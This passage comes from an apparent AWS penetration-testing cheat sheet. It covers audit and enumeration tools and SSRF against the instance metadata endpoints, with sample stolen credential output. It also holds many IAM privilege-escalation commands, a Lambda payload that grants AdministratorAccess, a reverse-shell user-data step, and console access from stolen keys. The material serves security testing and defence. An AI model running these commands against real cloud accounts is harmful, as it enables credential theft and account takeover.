||||||
|
|
||||||
```powershell
|
|
||||||
$ pip install awscli ansi2html detect-secrets
|
|
||||||
$ git clone https://github.com/toniblyx/prowler
|
|
||||||
$ sudo apt install jq
|
|
||||||
$ ./prowler -E check42,check43
|
|
||||||
$ ./prowler -p custom-profile -r us-east-1 -c check11
|
|
||||||
$ ./prowler -A 123456789012 -R ProwlerRole # sts assume-role
|
|
||||||
```
|
|
||||||
|
|
||||||
* [Principal Mapper](https://github.com/nccgroup/PMapper) - A tool for quickly evaluating IAM permissions in AWS
|
|
||||||
```powershell
|
|
||||||
https://github.com/nccgroup/PMapper
|
|
||||||
pip install principalmapper
|
|
||||||
pmapper graph --create
|
|
||||||
pmapper visualize --filetype png
|
|
||||||
pmapper analysis --output-type text
|
|
||||||
|
|
||||||
# Determine if PowerUser can escalate privileges
|
|
||||||
pmapper query "preset privesc user/PowerUser"
|
|
||||||
pmapper argquery --principal user/PowerUser --preset privesc
|
|
||||||
|
|
||||||
# Find all principals that can escalate privileges
|
|
||||||
pmapper query "preset privesc *"
|
|
||||||
pmapper argquery --principal '*' --preset privesc
|
|
||||||
|
|
||||||
# Find all principals that PowerUser can access
|
|
||||||
pmapper query "preset connected user/PowerUser *"
|
|
||||||
pmapper argquery --principal user/PowerUser --resource '*' --preset connected
|
|
||||||
|
|
||||||
# Find all principals that can access PowerUser
|
|
||||||
pmapper query "preset connected * user/PowerUser"
|
|
||||||
pmapper argquery --principal '*' --resource user/PowerUser --preset connected
|
|
||||||
```
|
|
||||||
|
|
||||||
* [ScoutSuite](https://github.com/nccgroup/ScoutSuite/wiki) - Multi-Cloud Security Auditing Tool
|
|
||||||
```powershell
|
|
||||||
$ git clone https://github.com/nccgroup/ScoutSuite
|
|
||||||
$ python scout.py PROVIDER --help
|
|
||||||
# The --session-token is optional and only used for temporary credentials (i.e. role assumption).
|
|
||||||
$ python scout.py aws --access-keys --access-key-id <AKIAIOSFODNN7EXAMPLE> --secret-access-key <wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY> --session-token <token>
|
|
||||||
$ python scout.py azure --cli
|
|
||||||
```
|
|
||||||
|
|
||||||
* [s3_objects_check](https://github.com/nccgroup/s3_objects_check) - Whitebox evaluation of effective S3 object permissions, to identify publicly accessible files
|
|
||||||
```powershell
|
|
||||||
$ git clone https://github.com/nccgroup/s3_objects_check
|
|
||||||
$ python3 -m venv env && source env/bin/activate
|
|
||||||
$ pip install -r requirements.txt
|
|
||||||
$ python s3-objects-check.py -h
|
|
||||||
$ python s3-objects-check.py -p whitebox-profile -e blackbox-profile
|
|
||||||
```
|
|
||||||
|
|
||||||
* [cloudsplaining](https://github.com/salesforce/cloudsplaining) - An AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized report
|
|
||||||
```powershell
|
|
||||||
$ pip3 install --user cloudsplaining
|
|
||||||
$ cloudsplaining download --profile myawsprofile
|
|
||||||
$ cloudsplaining scan --input-file default.json
|
|
||||||
```
|
|
||||||
|
|
||||||
* [weirdAAL](https://github.com/carnal0wnage/weirdAAL/wiki) - AWS Attack Library
|
|
||||||
```powershell
|
|
||||||
python3 weirdAAL.py -m ec2_describe_instances -t demo
|
|
||||||
python3 weirdAAL.py -m lambda_get_account_settings -t demo
|
|
||||||
python3 weirdAAL.py -m lambda_get_function -a 'MY_LAMBDA_FUNCTION','us-west-2' -t yolo
|
|
||||||
```
|
|
||||||
|
|
||||||
* [cloudmapper](https://github.com/duo-labs/cloudmapper.git) - CloudMapper helps you analyze your Amazon Web Services (AWS) environments
|
|
||||||
```powershell
|
|
||||||
git clone https://github.com/duo-labs/cloudmapper.git
|
|
||||||
# sudo yum install autoconf automake libtool python3-devel.x86_64 python3-tkinter python-pip jq awscli
|
|
||||||
# You may additionally need "build-essential"
|
|
||||||
sudo apt-get install autoconf automake libtool python3.7-dev python3-tk jq awscli
|
|
||||||
pipenv install --skip-lock
|
|
||||||
pipenv shell
|
|
||||||
report: Generate HTML report. Includes summary of the accounts and audit findings.
|
|
||||||
iam_report: Generate HTML report for the IAM information of an account.
|
|
||||||
audit: Check for potential misconfigurations.
|
|
||||||
collect: Collect metadata about an account.
|
|
||||||
find_admins: Look at IAM policies to identify admin users and roles, or principals with specific privileges
|
|
||||||
```
|
|
||||||
|
|
||||||
* [dufflebag](https://labs.bishopfox.com/dufflebag) - Find secrets that are accidentally exposed via Amazon EBS’s “public” mode
|
|
||||||
|
|
||||||
|
|
||||||
## AWS Patterns
|
|
||||||
| Service | URL |
|
|
||||||
|-------------|--------|
|
|
||||||
| s3 | https://{user_provided}.s3.amazonaws.com |
|
|
||||||
| cloudfront | https://{random_id}.cloudfront.net |
|
|
||||||
| ec2 | ec2-{ip-seperated}.compute-1.amazonaws.com |
|
|
||||||
| es | https://{user_provided}-{random_id}.{region}.es.amazonaws.com |
|
|
||||||
| elb | http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 |
|
|
||||||
| elbv2 | https://{user_provided}-{random_id}.{region}.elb.amazonaws.com |
|
|
||||||
| rds | mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306 |
|
|
||||||
| rds | postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432 |
|
|
||||||
| route 53 | {user_provided} |
|
|
||||||
| execute-api | https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} |
|
|
||||||
| cloudsearch | https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com |
|
|
||||||
| transfer | sftp://s-{random_id}.server.transfer.{region}.amazonaws.com |
|
|
||||||
| iot | mqtt://{random_id}.iot.{region}.amazonaws.com:8883 |
|
|
||||||
| iot | https://{random_id}.iot.{region}.amazonaws.com:8443 |
|
|
||||||
| iot | https://{random_id}.iot.{region}.amazonaws.com:443 |
|
|
||||||
| mq | https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162 |
|
|
||||||
| mq | ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 |
|
|
||||||
| kafka | b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com |
|
|
||||||
| kafka | {user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com |
|
|
||||||
| cloud9 | https://{random_id}.vfs.cloud9.{region}.amazonaws.com |
|
|
||||||
| mediastore | https://{random_id}.data.mediastore.{region}.amazonaws.com |
|
|
||||||
| kinesisvideo | https://{random_id}.kinesisvideo.{region}.amazonaws.com |
|
|
||||||
| mediaconvert | https://{random_id}.mediaconvert.{region}.amazonaws.com |
|
|
||||||
| mediapackage | https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel |
|
|
||||||
|
|
||||||
|
|
||||||
## AWS - Metadata SSRF
|
|
||||||
|
|
||||||
> AWS released additional security defences against the attack.
|
|
||||||
|
|
||||||
:warning: Only working with IMDSv1.
|
|
||||||
Enabling IMDSv2 : `aws ec2 modify-instance-metadata-options --instance-id <INSTANCE-ID> --profile <AWS_PROFILE> --http-endpoint enabled --http-token required`.
|
|
||||||
|
|
||||||
In order to usr IMDSv2 you must provide a token.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"`
|
|
||||||
curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"
|
|
||||||
```
|
|
||||||
|
|
||||||
### Method for Elastic Cloud Compute (EC2)
|
|
||||||
|
|
||||||
Example : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/
|
|
||||||
|
|
||||||
1. Access the IAM : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/
|
|
||||||
```powershell
|
|
||||||
ami-id
|
|
||||||
ami-launch-index
|
|
||||||
ami-manifest-path
|
|
||||||
block-device-mapping/
|
|
||||||
events/
|
|
||||||
hostname
|
|
||||||
iam/
|
|
||||||
identity-credentials/
|
|
||||||
instance-action
|
|
||||||
instance-id
|
|
||||||
```
|
|
||||||
2. Find the name of the role assigned to the instance : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
|
||||||
3. Extract the role's temporary keys : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/
|
|
||||||
```powershell
|
|
||||||
{
|
|
||||||
"Code" : "Success",
|
|
||||||
"LastUpdated" : "2019-07-31T23:08:10Z",
|
|
||||||
"Type" : "AWS-HMAC",
|
|
||||||
"AccessKeyId" : "ASIA54BL6PJR37YOEP67",
|
|
||||||
"SecretAccessKey" : "OiAjgcjm1oi2xxxxxxxxOEXkhOMhCOtJMP2",
|
|
||||||
"Token" : "AgoJb3JpZ2luX2VjEDU86Rcfd/34E4rtgk8iKuTqwrRfOppiMnv",
|
|
||||||
"Expiration" : "2019-08-01T05:20:30Z"
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Method for Container Service (Fargate)
|
|
||||||
|
|
||||||
1. Fetch the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI variable from https://awesomeapp.com/download?file=/proc/self/environ
|
|
||||||
```powershell
|
|
||||||
JAVA_ALPINE_VERSION=8.212.04-r0
|
|
||||||
HOSTNAME=bbb3c57a0ed3SHLVL=1PORT=8443HOME=/root
|
|
||||||
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447
|
|
||||||
AWS_EXECUTION_ENV=AWS_ECS_FARGATEMVN_VER=3.3.9JAVA_VERSION=8u212AWS_DEFAULT_REGION=us-west-2
|
|
||||||
ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/cb4f6285-48f2-4a51-a787-67dbe61c13ffPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin:/usr/lib/mvn:/usr/lib/mvn/binLANG=C.UTF-8AWS_REGION=us-west-2Tag=48111bbJAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jreM2=/usr/lib/mvn/binPWD=/appM2_HOME=/usr/lib/mvnLD_LIBRARY_PATH=/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server:/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64:/usr/lib/jvm/java-1.8-openjd
|
|
||||||
```
|
|
||||||
2. Use the credential URL to dump the AccessKey and SecretKey : https://awesomeapp.com/forward?target=http://169.254.170.2/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447
|
|
||||||
```powershell
|
|
||||||
{
|
|
||||||
"RoleArn": "arn:aws:iam::953574914659:role/awesome-waf-role",
|
|
||||||
"AccessKeyId": "ASIA54BL6PJR2L75XHVS",
|
|
||||||
"SecretAccessKey": "j72eTy+WHgIbO6zpe2DnfjEhbObuTBKcemfrIygt",
|
|
||||||
"Token": "FQoGZXIvYXdzEMj//////////wEaDEQW+wwBtaoyqH5lNSLGBF3PnwnLYa3ggfKBtLMoWCEyYklw6YX85koqNwKMYrP6ymcjv4X2gF5enPi9/Dx6m/1TTFIwMzZ3tf4V3rWP3HDt1ea6oygzTrWLvfdp57sKj+2ccXI+WWPDZh3eJr4Wt4JkiiXrWANn7Bx3BUj9ZM11RXrKRCvhrxdrMLoewRkWmErNEOFgbaCaT8WeOkzqli4f+Q36ZerT2V+FJ4SWDX1CBsimnDAMAdTIRSLFxVBBwW8171OHiBOYAMK2np1xAW1d3UCcZcGKKZTjBee2zs5+Rf5Nfkoq+j7GQkmD2PwCeAf0RFETB5EVePNtlBWpzfOOVBtsTUTFewFfx5cyNsitD3C2N93WR59LX/rNxyncHGDUP/6UPlasOcfzAaG738OJQmWfQTR0qksHIc2qiPtkstnNndh76is+r+Jc4q3wOWu2U2UBi44Hj+OS2UTpMAwc/MshIiGsUOrBQdPqcLLdAxKpUNTdSQNLg5wv4f2OrOI8/sneV58yBRolBz8DZoH8wohtLXpueDt8jsVSVLznnMOOe/4ehHE2Nt+Fy+tjaY5FUi/Ijdd5IrIdIvWFHY1XcPopUFYrDqr0yuZvX1YddfIcfdbmxf274v69FuuywXTo7cXk1QTMYZWlD/dPI/k6KQeO446UrHT9BJxcJMpchAIVRpI7nVKkSDwku1joKUG7DOeycuAbhecVZG825TocL0ks2yXPnIdvckAaU9DZf+afIV3Nxv3TI4sSX1npBhb2f/8C31pv8VHyu2NiN5V6OOHzZijHsYXsBQ==",
|
|
||||||
"Expiration": "2019-09-18T04:05:59Z"
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
### AWS API calls that return credentials
|
|
||||||
|
|
||||||
- chime:createapikey
|
|
||||||
- [codepipeline:pollforjobs](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html)
|
|
||||||
- [cognito-identity:getopenidtoken](https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetOpenIdToken.html)
|
|
||||||
- [cognito-identity:getopenidtokenfordeveloperidentity](https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetOpenIdTokenForDeveloperIdentity.html)
|
|
||||||
- [cognito-identity:getcredentialsforidentity](https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html)
|
|
||||||
- [connect:getfederationtoken](https://docs.aws.amazon.com/connect/latest/APIReference/API_GetFederationToken.html)
|
|
||||||
- [connect:getfederationtokens](https://docs.aws.amazon.com/connect/latest/APIReference/API_GetFederationToken.html)
|
|
||||||
- [ecr:getauthorizationtoken](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/API_GetAuthorizationToken.html)
|
|
||||||
- [gamelift:requestuploadcredentials](https://docs.aws.amazon.com/gamelift/latest/apireference/API_RequestUploadCredentials.html)
|
|
||||||
- [iam:createaccesskey](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html)
|
|
||||||
- [iam:createloginprofile](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateLoginProfile.html)
|
|
||||||
- [iam:createservicespecificcredential](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateServiceSpecificCredential.html)
|
|
||||||
- [iam:resetservicespecificcredential](https://docs.aws.amazon.com/IAM/latest/APIReference/API_ResetServiceSpecificCredential.html)
|
|
||||||
- [iam:updateaccesskey](https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateAccessKey.html)
|
|
||||||
- [lightsail:getinstanceaccessdetails](https://docs.aws.amazon.com/lightsail/2016-11-28/api-reference/API_GetInstanceAccessDetails.html)
|
|
||||||
- [lightsail:getrelationaldatabasemasteruserpassword](https://docs.aws.amazon.com/lightsail/2016-11-28/api-reference/API_GetRelationalDatabaseMasterUserPassword.html)
|
|
||||||
- [rds-db:connect](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html)
|
|
||||||
- [redshift:getclustercredentials](https://docs.aws.amazon.com/redshift/latest/APIReference/API_GetClusterCredentials.html)
|
|
||||||
- [sso:getrolecredentials](https://docs.aws.amazon.com/singlesignon/latest/PortalAPIReference/API_GetRoleCredentials.html)
|
|
||||||
- [mediapackage:rotatechannelcredentials](https://docs.aws.amazon.com/mediapackage/latest/apireference/channels-id-credentials.html)
|
|
||||||
- [mediapackage:rotateingestendpointcredentials](https://docs.aws.amazon.com/mediapackage/latest/apireference/channels-id-ingest_endpoints-ingest_endpoint_id-credentials.html)
|
|
||||||
- [sts:assumerole](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role.html)
|
|
||||||
- [sts:assumerolewithsaml](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-saml.html)
|
|
||||||
- [sts:assumerolewithwebidentity](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-web-identity.html)
|
|
||||||
- [sts:getfederationtoken](https://docs.aws.amazon.com/cli/latest/reference/sts/get-federation-token.html)
|
|
||||||
- [sts:getsessiontoken](https://docs.aws.amazon.com/cli/latest/reference/sts/get-session-token.html)
|
|
||||||
|
|
||||||
|
|
||||||
## AWS - Shadow Admin
|
|
||||||
|
|
||||||
### Admin equivalent permission
|
|
||||||
|
|
||||||
- AdministratorAccess
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
"Action": "*"
|
|
||||||
"Resource": "*"
|
|
||||||
```
|
|
||||||
|
|
||||||
- ec2:AssociateIamInstanceProfile
|
|
||||||
|
|
||||||
- **iam:CreateAccessKey**iam:CreateAccessKey : create a new access key to another IAM admin account
|
|
||||||
```powershell
|
|
||||||
aws iam create-access-key –user-name target_user
|
|
||||||
```
|
|
||||||
|
|
||||||
- **iam:CreateLoginProfile** : add a new password-based login profile, set a new password for an entity and impersonate it
|
|
||||||
```powershell
|
|
||||||
$ aws iam create-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required
|
|
||||||
```
|
|
||||||
|
|
||||||
- **iam:UpdateLoginProfile** : reset other IAM users’ login passwords.
|
|
||||||
```powershell
|
|
||||||
$ aws iam update-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required
|
|
||||||
```
|
|
||||||
|
|
||||||
- **iam:AttachUserPolicy**, **iam:AttachGroupPolicy** or **iam:AttachRolePolicy** : attach existing admin policy to any other entity he currently possesses
|
|
||||||
```powershell
|
|
||||||
$ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
|
|
||||||
$ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
|
|
||||||
$ aws iam attach-role-policy –role-name role_i_can_assume –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
|
|
||||||
```
|
|
||||||
|
|
||||||
- **iam:PutUserPolicy**, **iam:PutGroupPolicy** or **iam:PutRolePolicy** : added inline policy will allow the attacker to grant additional privileges to previously compromised entities.
|
|
||||||
```powershell
|
|
||||||
$ aws iam put-user-policy –user-name my_username –policy-name my_inline_policy –policy-document file://path/to/administrator/policy.json
|
|
||||||
```
|
|
||||||
|
|
||||||
- **iam:CreatePolicy** : add a stealthy admin policy
|
|
||||||
- **iam:AddUserToGroup** : add into the admin group of the organization.
|
|
||||||
```powershell
|
|
||||||
$ aws iam add-user-to-group –group-name target_group –user-name my_username
|
|
||||||
```
|
|
||||||
|
|
||||||
- **iam:UpdateAssumeRolePolicy** + **sts:AssumeRole** : change the assuming permissions of a privileged role and then assume it with a non-privileged account.
|
|
||||||
```powershell
|
|
||||||
$ aws iam update-assume-role-policy –role-name role_i_can_assume –policy-document file://path/to/assume/role/policy.json
|
|
||||||
```
|
|
||||||
|
|
||||||
- **iam:CreatePolicyVersion** & **iam:SetDefaultPolicyVersion** : change customer-managed policies and change a non-privileged entity to be a privileged one.
|
|
||||||
```powershell
|
|
||||||
$ aws iam create-policy-version –policy-arn target_policy_arn –policy-document file://path/to/administrator/policy.json –set-as-default
|
|
||||||
$ aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2
|
|
||||||
```
|
|
||||||
|
|
||||||
- **lambda:UpdateFunctionCode** : give an attacker access to the privileges associated with the Lambda service role that is attached to that function.
|
|
||||||
```powershell
|
|
||||||
$ aws lambda update-function-code –function-name target_function –zip-file fileb://my/lambda/code/zipped.zip
|
|
||||||
```
|
|
||||||
|
|
||||||
- **glue:UpdateDevEndpoint** : give an attacker access to the privileges associated with the role attached to the specific Glue development endpoint.
|
|
||||||
```powershell
|
|
||||||
$ aws glue –endpoint-name target_endpoint –public-key file://path/to/my/public/ssh/key.pub
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
- **iam:PassRole** + **ec2:CreateInstanceProfile**/**ec2:AddRoleToInstanceProfile** : an attacker could create a new privileged instance profile and attach it to a compromised EC2 instance that he possesses.
|
|
||||||
|
|
||||||
- **iam:PassRole** + **ec2:RunInstance** : give an attacker access to the set of permissions that the instance profile/role has, which again could range from no privilege escalation to full administrator access of the AWS account.
|
|
||||||
```powershell
|
|
||||||
# add ssh key
|
|
||||||
$ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –key-name my_ssh_key –security-group-ids sg-123456
|
|
||||||
# execute a reverse shell
|
|
||||||
$ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –user-data file://script/with/reverse/shell.sh
|
|
||||||
```
|
|
||||||
|
|
||||||
- **iam:PassRole** + **lambda:CreateFunction** + **lambda:InvokeFunction** : give a user access to the privileges associated with any Lambda service role that exists in the account.
|
|
||||||
```powershell
|
|
||||||
$ aws lambda create-function –function-name my_function –runtime python3.6 –role arn_of_lambda_role –handler lambda_function.lambda_handler –code file://my/python/code.py
|
|
||||||
$ aws lambda invoke –function-name my_function output.txt
|
|
||||||
```
|
|
||||||
Example of code.py
|
|
||||||
```python
|
|
||||||
import boto3
|
|
||||||
def lambda_handler(event, context):
|
|
||||||
client = boto3.client('iam')
|
|
||||||
response = client.attach_user_policy(
|
|
||||||
UserName='my_username',
|
|
||||||
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
|
|
||||||
)
|
|
||||||
return response
|
|
||||||
```
|
|
||||||
|
|
||||||
* **iam:PassRole** + **glue:CreateDevEndpoint** : access to the privileges associated with any Glue service role that exists in the account.
|
|
||||||
```powershell
|
|
||||||
$ aws glue create-dev-endpoint –endpoint-name my_dev_endpoint –role-arn arn_of_glue_service_role –public-key file://path/to/my/public/ssh/key.pub
|
|
||||||
```
|
|
||||||
|
|
||||||
## AWS - Gaining AWS Console Access via API Keys
|
|
||||||
|
|
||||||
A utility to convert your AWS CLI credentials into AWS console access.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$> git clone https://github.com/NetSPI/aws_consoler
|
|
||||||
$> aws_consoler -v -a AKIA[REDACTED] -s [REDACTED]
|
|
||||||
2020-03-13 19:44:57,800 [aws_consoler.cli] INFO: Validating arguments...
|
|
||||||
2020-03-13 19:44:57,801 [aws_consoler.cli] INFO: Calling logic.
|
|
||||||
2020-03-13 19:44:57,820 [aws_consoler.logic] INFO: Boto3 session established.
|
|
||||||
2020-03-13 19:44:58,193 [aws_consoler.logic] WARNING: Creds still permanent, creating federated session.
|
|
||||||
2020-03-13 19:44:58,698 [aws_consoler.logic] INFO: New federated session established.
|
|
||||||
2020-03-13 19:44:59,153 [aws_consoler.logic] INFO: Session valid, attempting to federate as arn:aws:sts::123456789012:federated-user/aws_consoler.
|
|
||||||
2020-03-13 19:44:59,668 [aws_consoler.logic] INFO: URL generated!
|
|
||||||
https://signin.aws.amazon.com/federation?Action=login&Issuer=consoler.local&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2Fconsole%2Fhome%3Fregion%3Dus-east-1&SigninToken=[REDACTED
|
|
||||||
```
|
|
||||||
|
|
||||||
## AWS - Enumerate IAM permissions
|
|
||||||
|
|
||||||
Enumerate the permissions associated with AWS credential set with [enumerate-iam](https://github.com/andresriancho/enumerate-iam)
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
git clone git@github.com:andresriancho/enumerate-iam.git
|
|
||||||
pip install -r requirements.txt
|
|
||||||
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
|
|
||||||
2019-05-10 15:57:58,447 - 21345 - [INFO] Starting permission enumeration for access-key-id "AKIA..."
|
|
||||||
2019-05-10 15:58:01,532 - 21345 - [INFO] Run for the hills, get_account_authorization_details worked!
|
|
||||||
2019-05-10 15:58:01,537 - 21345 - [INFO] -- {
|
|
||||||
"RoleDetailList": [
|
|
||||||
{
|
|
||||||
"Tags": [],
|
|
||||||
"AssumeRolePolicyDocument": {
|
|
||||||
"Version": "2008-10-17",
|
|
||||||
"Statement": [
|
|
||||||
{
|
|
||||||
...
|
|
||||||
2019-05-10 15:58:26,709 - 21345 - [INFO] -- gamelift.list_builds() worked!
|
|
||||||
2019-05-10 15:58:26,850 - 21345 - [INFO] -- cloudformation.list_stack_sets() worked!
|
|
||||||
2019-05-10 15:58:26,982 - 21345 - [INFO] -- directconnect.describe_locations() worked!
|
|
||||||
2019-05-10 15:58:27,021 - 21345 - [INFO] -- gamelift.describe_matchmaking_rule_sets() worked!
|
|
||||||
2019-05-10 15:58:27,311 - 21345 - [INFO] -- sqs.list_queues() worked!
|
|
||||||
```
|
|
||||||
|
|
||||||
## AWS - Mount EBS volume to EC2 Linux
|
|
||||||
|
|
||||||
:warning: EBS snapshots are block-level incremental, which means that every snapshot only copies the blocks (or areas) in the volume that had been changed since the last snapshot. To restore your data, you need to create a new EBS volume from one of your EBS snapshots. The new volume will be a duplicate of the initial EBS volume on which the snapshot was taken.
|
|
||||||
|
|
||||||
1. Head over to EC2 –> Volumes and create a new volume of your preferred size and type.
|
|
||||||
2. Select the created volume, right click and select the "attach volume" option.
|
|
||||||
3. Select the instance from the instance text box as shown below : `attach ebs volume`
|
|
||||||
```powershell
|
|
||||||
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone
|
|
||||||
aws ec2 attach-volume –-volume-id volume_id –-instance-id instance_id --device device
|
|
||||||
```
|
|
||||||
4. Now, login to your ec2 instance and list the available disks using the following command : `lsblk`
|
|
||||||
5. Check if the volume has any data using the following command : `sudo file -s /dev/xvdf`
|
|
||||||
6. Format the volume to ext4 filesystem using the following command : `sudo mkfs -t ext4 /dev/xvdf`
|
|
||||||
7. Create a directory of your choice to mount our new ext4 volume. I am using the name “newvolume” : `sudo mkdir /newvolume`
|
|
||||||
8. Mount the volume to "newvolume" directory using the following command : `sudo mount /dev/xvdf /newvolume/`
|
|
||||||
9. cd into newvolume directory and check the disk space for confirming the volume mount : `cd /newvolume; df -h .`
|
|
||||||
|
|
||||||
|
|
||||||
## AWS - Copy EC2 using AMI Image
|
|
||||||
|
|
||||||
First you need to extract data about the current instances and their AMI/security groups/subnet : `aws ec2 describe-images --region eu-west-1`
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# create a new image for the instance-id
|
|
||||||
$ aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
|
|
||||||
|
|
||||||
# add key to AWS
|
|
||||||
$ aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
|
|
||||||
|
|
||||||
# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
|
|
||||||
$ aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
|
|
||||||
|
|
||||||
# now you can check the instance
|
|
||||||
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
|
|
||||||
|
|
||||||
# If needed : edit groups
|
|
||||||
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
|
|
||||||
|
|
||||||
# be a good guy, clean our instance to avoid any useless cost
|
|
||||||
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
|
||||||
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
|
||||||
```
|
|
||||||
|
|
||||||
## AWS - Instance Connect - Push an SSH key to EC2 instance
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# https://aws.amazon.com/fr/blogs/compute/new-using-amazon-ec2-instance-connect-for-ssh-access-to-your-ec2-instances/
|
|
||||||
$ aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"
|
|
||||||
$ aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds
|
|
||||||
```
|
|
||||||
|
|
||||||
## AWS - Lambda - Extract function's code
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed
|
|
||||||
$ aws lambda list-functions --profile uploadcreds
|
|
||||||
$ aws lambda get-function --function-name "LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY" --query 'Code.Location' --profile uploadcreds
|
|
||||||
$ wget -O lambda-function.zip url-from-previous-query --profile uploadcreds
|
|
||||||
```
|
|
||||||
|
|
||||||
## AWS - SSM - Command execution
|
|
||||||
|
|
||||||
:warning: The ssm-user account is not removed from the system when SSM Agent is uninstalled.
|
|
||||||
|
|
||||||
SSM Agent is preinstalled, by default, on the following Amazon Machine Images (AMIs):
|
|
||||||
* Windows Server 2008-2012 R2 AMIs published in November 2016 or later
|
|
||||||
* Windows Server 2016 and 2019
|
|
||||||
* Amazon Linux
|
|
||||||
* Amazon Linux 2
|
|
||||||
* Ubuntu Server 16.04
|
|
||||||
* Ubuntu Server 18.04
|
|
||||||
* Amazon ECS-Optimized
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$ aws ssm describe-instance-information --profile stolencreds --region eu-west-1
|
|
||||||
